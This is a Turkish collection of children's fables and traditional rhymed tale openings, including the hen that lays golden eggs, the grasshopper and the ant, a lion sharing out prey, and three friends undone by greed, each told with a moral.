Nalbant olsam nallayamam katırı,
Hamamcı olsam dost ahbap hatırı…
Doğru kelâm,
Bir gün başıma yıkıldı hamam.
Dereden siz gelin, tepeden ben.
Tahta merdiven, taş merdiven, toprak merdiven…
Tahta merdivenden çıktım yukarı,
O güzel kızlar;
Andıkça yüreğim sızlar.
O perdeyi kaldırdım,
Baktım köşede bir hanım oturur,
Şöyle ettim, böyle ettim,
Tabanının altına bir fiske vurdum.
Buradan kalktık, gittik gittik…
Az gittik, uz gittik,
Dere tepe düz gittik,
Altı ay, bir güz gittik…
Bir de arkamıza baktım ki,
Bir arpa boyu yer gitmişiz.
Yine kalktık, gittik,
Gide gide gittik…
Göründü Çin Maçin padişahının bağları…
Girdik birine,
Değirmencinin biri değirmen çevirir.
Yanında bir de kedisi var.
O kedideki göz,
O kedideki kaş,
O kedideki burun,
O kedideki ağız,
O kedideki kulak,
O kedideki yüz,
O kedideki saç,
O kedideki kuyruk…

Sevgili çocuklar, azla yetinmeyen insanların sonunda başına neler geldiğini biliyor musunuz? İşte size az ile yetinmeyen ve çok olsun isteyen birinin başına gelenler…

Bir varmış, bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde köylü bir adam yaşarmış. Köylü adam her gün erkenden kalkar, işlerini halleder, ardından tüm gün tarlada çalışır ve akşam evine geldiğinde tarlasından topladığı yemişler ile karnını doyururmuş. Bu çalışkan köylünün kümesindeki tavuklardan biri ise sihirli tavukmuş. Bu sihirli tavuk kendisine çok ilgi ve sevgi gösterildiğini hissettiğinde altından bir yumurta yumurtluyormuş.

Köylü bir sabah kümesi açıp da tavuğun altında altın bir yumurta görünce sevinçten çığlık atmaya başlamış. Bu altın yumurta onun için o kadar değerliymiş ki, sanki milyonlara sahip olmuş gibi sevinmiş. Köylü hiç vakit kaybetmeden kasabaya inerek kuyumcuya altını bozdurmuş.

Gel zaman git zaman köylü, tavuğun altın yumurtlamasına alışmış. Tavuğu her akşam seviyor, okşuyor ona gereken tüm ilgiyi gösteriyormuş. Tavuk da sihirli ya, köylünün elindeki paranın ne zaman bittiğini tahmin ediyor, altın yumurtasını o zaman yumurtluyormuş. Köylü tavuğun altında altın yumurtayı bulduğu anda her zaman yaptığı gibi kuyumcuya gider ve altını bozdurup ihtiyaçlarını alırmış.

Köylünün ekonomik durumu altın yumurtlayan tavuğu sayesinde gittikçe daha iyi hale gelmiş. Altın yumurtalar sayesinde her istediğini alabilecek kadar zengin olmuş. Bu zenginlik köylü adamın çalışmasını yavaşlatmaya başlamış. Artık çalışmaya pek de ihtiyacı kalmadığını düşünen köylü, önce tarlalarını satarak her gün tarlaya gitme derdinden kurtarmış kendini. Ardından ineklerini de satarak her sabah inek sağmaktan da kurtulmuş. Köylünün artık tek geçim kaynağı tavuğun yumurtladığı altınmış.

Köylü adamı gören arkadaşları onu tanıyamaz hale gelmiş. Kendini çok zengin gören köylü, arkadaşlarını aşağılamaya ve onlara tepeden bakmaya başlamış. Bütün gün evinin bahçesindeki çimlerin üzerinde yatıp tembellik yaparken, eskiden kendisinin de gittiği gibi, tarlaya giden arkadaşları ile dalga geçermiş.

Yine bir gün çimde yatan köylü, arkadaşının inekleri çayıra götürdüğünü görmüş ve onunla dala geçmek için olduğu yerden kalkmış:

Köylü: ‘Hey! Sen çalışırken ben yatıyorum ama yine de senden zenginim. Bırak çalışmayı be adam, benim gibi rahatına bak!’

Köylü adamın arkadaşı yanıt vermekte gecikmemiş:

Arkadaşı: ‘Sen yat kalk da o altın yumurtlayan tavuğuna dua et! Yoksa beş parasız kalmıştın ortada! Ama şunu da unutma, o tavuktan gelen altınlar geçici, senin kendi emeğin ile kazandığın para kalıcıdır.’

Köylü arkadaşının dediği bu lafları pek de umursamamış. ‘Eskisi gibi çalışmaya ne gerek var, zaten istemediği kadar param var’ diye geçirmiş içinden.

Günler haftaları, haftalar ayları kovalarken; köylü artık parasını çar-çur etmeye başlamış. Elindeki parası çok olduğundan dolayı düşünmeden harcıyor, gerekli- gereksiz her şeyi satın alıyormuş. Paranın çok olduğunu ve tavuğun da hep yumurtlayacağını düşünüp, ‘nasılsa bu para bitmez’ diyerek avutmuş kendini.

Fakat işler köylünün düşündüğü gibi gitmemiş. Gereksiz yere birçok harcama yapan köylü adam, elindeki parayı tükettiği gibi; tavuğun yumurtladığı altın yumurtayı da yettirememeye başlamış. Oldukça zor bir duruma düşen köylünün aklına ani bir fikir gelmiş.

Elindeki paraların bitmesi üzerine daha fazlasını isteyen köylü, tavuğun midesinde bir hazine olduğunu düşünmeye başlamış. Başka türlü tavuk nasıl altın yumurtlayabilirmiş ki!

Köylü bir sabah erkenden tavuğu kesip midesindeki hazineyi çıkarmayı kafasına koymuş. Hemen eline kocaman bir bıçak alıp kümese gitmiş. Tavuğu almak için kümese eğilmiş ve tavuğu kümesten çıkarmış. ‘Midesindeki tüm altın hazinesi benim olacak’ diyerek tavuğu oracıkta kesmiş!

Fakat köylü adam umduğunu bulamamış. Tavuğun midesinde ne altın hazinesi, ne de başka bir şey varmış! Tavuğun midesi bomboşmuş! Köylü adam yaptığı hatanın farkına varmış ama nafile! Çok altın kazanayım derken elindeki altın yumurtlayan tavuktan da olmuş.}

Ağustos Böceği ve Karınca
Ağustos Böceği ve Karınca

Çocuktum ufacıktım.
Top oynadım, acıktım.

Buldum yerde bir erik.
Kaptı bir Ala Geyik.

Geyik kaçtı ormana.
Bindim bir akdoğana.

Doğan yolu şaşırdı ,
Kaf Dağı’ndan aşırdı .

Attı beni bir göle,
Gölden çıktım bir çöle.

Çölde buldum izini.
Koştum tuttum dizini.

Geyik beni görünce,
Düştü büyük sevince.

Verdi bana bir elma.
Dedi;”dinlenme,durma.”

Dağdan yürü , kırdan git.
Altın köşke çabuk var.

Seni bekler ezeli,
Orda Dünya Güzeli.

Bin yıllık çile doldu.
Bunu dedi kayboldu.

Yedim sırlı elmayı ,
Gördüm gizli dünyayı .

Gündüz oldu geceler.
Ak sakallı cüceler.

Korkunç devler hortladı ,
Cinler cirit oynadı .

Kesik başlar yürüdü .
Saçlarını sürüdü .

Bir de baktım melekler.
Başlarında çiçekler.

Devlere el bağlıyor.
Gizli gizli ağlıyor.

Kılıcımı çıkardım,
Perileri kurtardım.

Kurtardığım periler,
Adım adım geriler.

Kanadını açardı .
Selam verir kaçardı .

Az, uz gittim dolaştım.
Altın Köşk”e ulaştım.

Bir kapısı açıktı ,
Ötekisi kapanıktı .

Kapalıyı açarak,
Açığa vurdum kapak.

At önünde et vardı ,
İt, ot yemez ağlardı .

Otu ata yedirdim,
Eti ite yedirdim.

Açtım bir elmas oda.
Devler şahı uykuda.

Gördüm, kestim başını ,
Dedim; “ey dev nerede?”

Nerde Dünya Güzeli?
Dedi, elimde eli.

Döndüm baktım bir Kırgız.
Elbiseli güzel kız.

Durmuş bakar yanımda.
Şimşek çaktı canımda.

Yaz mevsimi yaklaşırken, işte size yaz mevsimi ile ilgili güzel bir masal! Ağustos böceği ile karınca masalını bilenler biler, yaz mevsiminde çalışan karıncanın kış mevsimini nasıl da rahat geçirdiğini anlatan bir masaldır. Hadi şimdi bu masalı bir kez de bizim yazdığımız şekli ile okuyun. İşte haylaz ağustos böceği ve çalışkan karıncanın masalı…

Bir varmış, bir yokmuş… Zaman zaman içinde, kalbur saman içinde; kocaman bir ormanın içinde yaşayan birbirinden güzel hayvanlar varmış. Bu hayvanlar ormanın içinde kardeşçe yaşar, hepsi birbirine saygı ve sevgi besler, her zaman da mutlu geçinirlermiş.

Gel zaman git zaman derken yaz mevsimi gelmiş çatmış. Havaların ısınması ile birlikte tüm hayvanlar kırlarda çayırlarda dolanmaya başlamış. Akarsu kenarlarında, ağaç gölgelerinde serinler; bol bol uyuyup dinlenirlermiş. Yaz mevsimini yatarak geçiren hayvanlardan birisi de ağustos böceği imiş.

Ağustos böceği ağacın dibindeki evinde sabah kalkar, çayırlarda karnını doyurduktan sonra eline sazını alır, şarkı söyleyip dans edermiş. Yorulduğunu hissettiğinde de kendine bir ağaç gölgesi bulur, yatar uyurmuş. Yazını şarkı söyleyerek, dans ederek ve uyuyarak geçirecekmiş.

Karınca ise çalışkanlığı ile bilinen bir hayvanmış. Diğer tüm hayvanların aksine, karınca yaz gelse de çalışmaktan vazgeçmezmiş. Kış mevsimi için hazırlıklarını şimdiden yapmaya başlamış. Tüm hayvanlar ağaç gölgelerinde yatıp uyurken, o sürekli olarak evine bir şeyler taşıyormuş.

Günlerden bir gün, karınca yine evine yiyecek taşırken ağustos böceği ile karşılaşmış. Karınca ve ağustos böceğinin evleri birbirine çok yakınmış. Bu sebeple komşu sayılırlarmış. Ağustos böceği karıncanın sıcağın altında bir şeyler taşıdığını görünce hemen ona laf atmış:

Ağustos Böceği: ‘ Hey karınca kardeş! Sen bu sıcakta ne diye bir şeyler taşıyıp duruyorsun evine?’

Karınca biraz soluklanmak için komşusunun evinin önünde durmuş:

Karınca: ‘Ağustos böceği arkadaşım. Yaz mevsimi güzeldir, her istediğimizi doğa bize verir. Ama kış mevsimi soğuktur, çetin geçer. Eğer kış mevsiminde a ç kalmak istemeyen, yaz mevsiminde çalışır ve erzak hazırlar. Sen de eğer kış mevsiminde aç kalmamak istiyorsan, evine biraz yiyecek taşımalısın.’

Ağustos böceği gülmüş karıncaya:

Ağustos Böceği: ‘Hiç işim kalmadı şimdiden kış için hazırlık mı yapacağım? Seninki de saçmalık valla karınca kardeş. Ben yaz olunca şarkı söylerim, dans ederim, yatar dinlenirim. Yaz mevsiminde çalışmam, bol bol eğlenirim.’

Karınca ne derse desin ağustos böceğinin kendisini anlamadığını görmüş. O yüzden konuşmayı çok uzatmadan işine geri dönmüş.

Yaz mevsimi geçmiş, kış mevsimi gelmiş. Havalar birdenbire çok soğumuş. Hatta hemen arkasından kar bile yağmış. Bütün yiyecekler karın altında kalmış.

Ağustos böceği ise evinde hem soğuktan hem de açlıktan tir tir titriyormuş. Karıncanın lafını dinlemediği için kendisine çok ama çok kızmış. Keşke biraz yiyecek koysaymış evine. Ama artık her şey için çok geçmiş. Kar yağdığından bütün yemişler karın altında kalmış.

Ağustos böceğinin aklına karıncanın evi gelmiş. Bütün yaz çalışan karınca, evine onlarca yemek depolamış. Ağustos böceği de onun komşusu değil miymiş? Gidip isterse elbet ki ona da biraz yemek verirmiş.

Ağustos böceği hemen karıncanın kapısına dayanmış. Karınca kapıyı açmış ve soğuktan titreyen ağustos böceğini içeri almış. Karıncanın evi sıcacıkmış, çok güzelmiş.

Ağustos Böceği: ‘Komşu karınca kardeşim. Çok açım, çok da üşüyorum. Sen bana yemeklerinden biraz verir misin?’

Karınca biraz düşünmüş:

Karınca: ‘Sen bütün yaz ne yaptın peki?’

Ağustos böceği utanarak cevaplamış:

Ağustos böceği: ‘Şeyy, şarkı söyledim, dans ettim, uyudum…’

Karınca hemen yanıtlamış:

Karınca: ‘Madem yaz mevsimde şarkı söyledin dans ettin, şimdi de dans et, şarkı söyle! Ben sana söylediğimde, sen beni dinlemedin. O yüzden sana yemek veremem kusura bakma’ demiş.

Ağustos böceği yaz mevsiminde çalışmadığı için ve karıncanın lafını dinlemediği için çok ama çok pişman olmuş. Bir daha yaz mevsiminde çok çalışacağına dair söz vermiş.

Adaletli Paylaşım
Adaletli Paylaşım

Evvel zamanda,
Fakirler handa,
Beyler de konağında yaşarmış.
Buna öfkelendim,
Bir hayli söylendim,
Aldım başımı çıktım dışarı.
Görmeyin gidişimi,
Bakmadan sağa sola,
Düştüm bir yola.
Az gittim, uz gittim,
Dere tepe düz gittim,
Çayır çimen geçerek,
Arpa buğday biçerek,
Soğuk sular içerek,
Altı ay bir güz gittim.
Yürüdüm, yürüdüm,
Vardım bir bağa,
Daldım bir konağa,
Vay sen misin dalan,
Kimi kolumdan tuttu,
Kimi bacağımdan,
Attılar beni bir dağa,
Zoruma gitti.
Başladım ağlamağa.
Karşıma çıktı bir derviş,
Derviş amca dedim:
Bu ne iş?
Kuru idim ıslandım;
Sel beni neyler?
Bulut oldum uslandım,
Yel beni neyler?
Vay gidi dünya,
Kimi güler, kimi söyler.
Kulak verin bu masala,
Keloğlan ne iş tutar, ne eyler.

Aslan, kurt ve tilki kankalar birlikte sözleşip ava gitmişler. Av epey bereketli ve verimli geçmiş. Günün sonunda, bir öküz, bir keçi ve iri bir de tavşan avlayan kafadarlar avlarını bir mağaraya sürüklemişler. Aslan kurda dönerek “Hadi bakalım kurt dostum, şu hayvanları paylaştır da karnımızı doyuralım artık işimize bakalım.” Demiş.
Kurt ezile büzüle: “Ey büyük sultanım.” Demiş. “Şu öküzü siz buyurun, keçi benim, tavşanda tilki kardeşin olsun müsadenizle.” Demiş.

Aslan birden çok kızmış. Ve “Bre küstah!” demiş. Sen kim oluyorsun da böyle öneride bulunuyorsun ha! Ben varken payları dağıtmak sana mı düştü?” Üzerine bir de pençe darbesiyle kurdu yere sermiş. Bu kez tilkiye dönüp “Öyle aval aval bakma bakayım zaten sinirliyim, haydi paylaştır şu avları bakalım.” Demiş.

Tilki “Pay etmek haddim değil ama madem emir buyurdunuz söyleyeyim. Sabah kahvaltıda tavşan ağzınıza layık olur, öküz öğle yemeğinde iyi gider akşama kadar eritip gece iyi uyursunuz. Keçiyi de akşam yutarsınız afiyetle.” Demiş.

Aslan bu paylaştırmadan çok hoşlanmış ve tilkiye, bu kadar adil bir paylaştırmayı nereden öğrendiğini sormuş. Tilki de: “Yüce efendim!” demiş. “Şu haddini bilmez kurdun halinden öğrendim.” Demiş.

Üç Arkadaşın Hikayesi
Üç Arkadaşın Hikayesi

Bir varmış, bir yokmuş… Evvel zaman içinde, kalbur saman içinde; bundan yıllar önce, güzel mi güzel bir kasaba varmış. Fakat bu kasabanın kötü bir özelliği de varmış. Bu kasabada kışlar çok uzun sürermiş. Öyle uzun sürermiş ki, insanlar soğuk havadan bıkarmış. İlkbahar gelsin, ağaçlar çiçek açsın, kırlarda oynasınlar diye dört gözle beklerlermiş. Bir an önce bu soğuk havalardan kurtulmak için gece gündüz dua ederlermiş.

Günler günleri kovalamış ve bu kasabanın kış mevsiminde sona gelinmiş. Kasabada yaşayanlar bir sabah uyandıklarına güneş açtığını görmüş ve çok mutlu olmuş. Güneşin yüzünü göstermesi ile kasabada yaşayan herkes, kendini dışarı atmış. Kimi kırlara gezintiye çıkmış, kimi çoluğu çocuğu ile yemyeşil çimlerde piknik yapmış. Çocuklar soğuk havalarda evde oturmaktan o kadar sıkılırlarmış ki, güneşli havaların gelmesi ile sabahtan akşama kadar dışarıda oyun oynar, güneşin ve sıcak havanın keyfini çıkarırlarmış.

Kışın soğuk havasında donan nehirler, yaz mevsiminin gelmesi ile çözülür, gürül gürül akarmış. Bir yandan da kış soğuğunda boynu bükük kalan ağaçlar rengârenk çiçeklerini açarmış. Mis kokulu çiçekler de cömertçe kokularını yayarmış etrafa…

Yine güneşli bir günde, üç yakın arkadaş sözleşmiş ve yemyeşil ormanın içinde yürüyüşe çıkmış. Amaçları açan bütün çiçekleri görmek, etraftaki yemişleri keşfetmekmiş. Hem ormanda gezen arkadaşlar hem de birbirileri ile muhabbet ederek, doğanın keyfini çıkarıyormuş.

Üç yakın arkadaş muhabbet ederken ne kadar yürüdüklerinin farkına varmamışlar. Az gitmişler, uz gitmişler dere tepe düz gitmişler. Bir de bakmışlar ki kasabadan çok uzaklaşmışlar. Hemen kendilerine bir ağaç gölgesi bulup dinlenmek için kendilerini çimlerin üzerine atmışlar.

Üç arkadaş bir yandan dinlenip bir yandan da nehirin akan sesi ile huzur bulurken, arkadaşlardan birinin eline çivi gibi bir şey batmış. Adam olduğu yerde irkilmiş, eline bakan şeyin ne olduğunu merak etmiş. Toprağı eşeleyip eline batan şeyi bulmak istemiş ama karşısına demir kapaklı bir şey çıkmış. Adam arkadaşlarına dönerek:

‘Hey, ben burada bir şey buldum’ demiş.

Arkadaşları adamın ne bulduğuna bakmak için demiri yerinden oynatmışlar. Bir de ne görsünler! Demir açılmış ve karşılarına bir tünel çıkmış. Hepsinin içinde korku olsa da tünelin sonunda ne olduğunu merak ettiklerinden içeri girmeye karar vermişler.

Üç arkadaş tünelde karanlıkta biraz yürüdükten sonra bir kapı ile karşılaşmışlar. Zar-zor kapıyı açtıklarında bir de ne görsünler! Oda gibi bir yer, parıl parıl parlıyor! Parlamasının sebebi ise odanın içindeki çil çil altınlar, mücevherler, daha neler neler. Üç arkadaş ‘zengin olduk’ diye sevinip birbirine sarılmış ve en az bir saat sevinmiş.

Sevinçleri bittiğinde oturmuş, düşünmüşler. ‘Bu altınları buradan nasıl çıkaracağız’ derdine düşmüşler. İçlerinden bir tanesi fırlamış öne doğru:

Arkadaş: ‘Ben buldum. Ben kasabaya gidip atları alayım. Bu altınları da atlara yükleyelim.’

Hepsi bu fikre ‘tamam’ demiş ve arkadaşlardan biri kasabaya doğru yola koyulmuş. Kasabaya giderken adamın aklına kötü fikirler gelmeye başlamış. ‘Ben neden bu altınları üç kişi paylaşayım ki! Onları öldürürüm hepsi benim olur’ demiş içinden.

Kasabaya gittiğinde eşine bir sürü yemek hazırlatmış. Bu yemeklerin içine de en etkili zehirden koymuş. Amacı arkadaşlarına bu yemeği yedirmek ve onları öldürmekmiş. Atları da bulan adam tekrar arkadaşlarının yanına doğru yola koyulmuş.

Bu sırada altınların olduğu mağarada arkadaşlarını bekleyen iki adam da kendi aralarında kötü planlar yapmaya başlamış. ‘Biz neden bu altınları üç kişi paylaşalım ki?’ demiş içlerinden biri. ‘Geldiğinde onu öldürelim. Bütün altınlar bizim olsun.’ İki arkadaş diğer arkadaşlarını öldürmek için anlaşmışlar.

Arkadaşları elinde yemek tencereleri ile mağaraya girdiğinde iki arkadaş da kapının sağından ve solundan adamın üzerine doğru atlamış ve arkadaşlarını oracıkta öldürmüş. Artık altınların sadece ikisinin olduğuna sevinen arkadaşlar, karınları çok aç olduğundan hemen tenceredeki yemekleri yemeye başlamış. Yemekler zehirli olduğundan çok geçmeden bu iki arkadaş da ölmüş.

Böylece bir mağara dolusu altın, aç gözlülükleri yüzünden üç arkadaştan hiçbirine nasip olmamış!} else {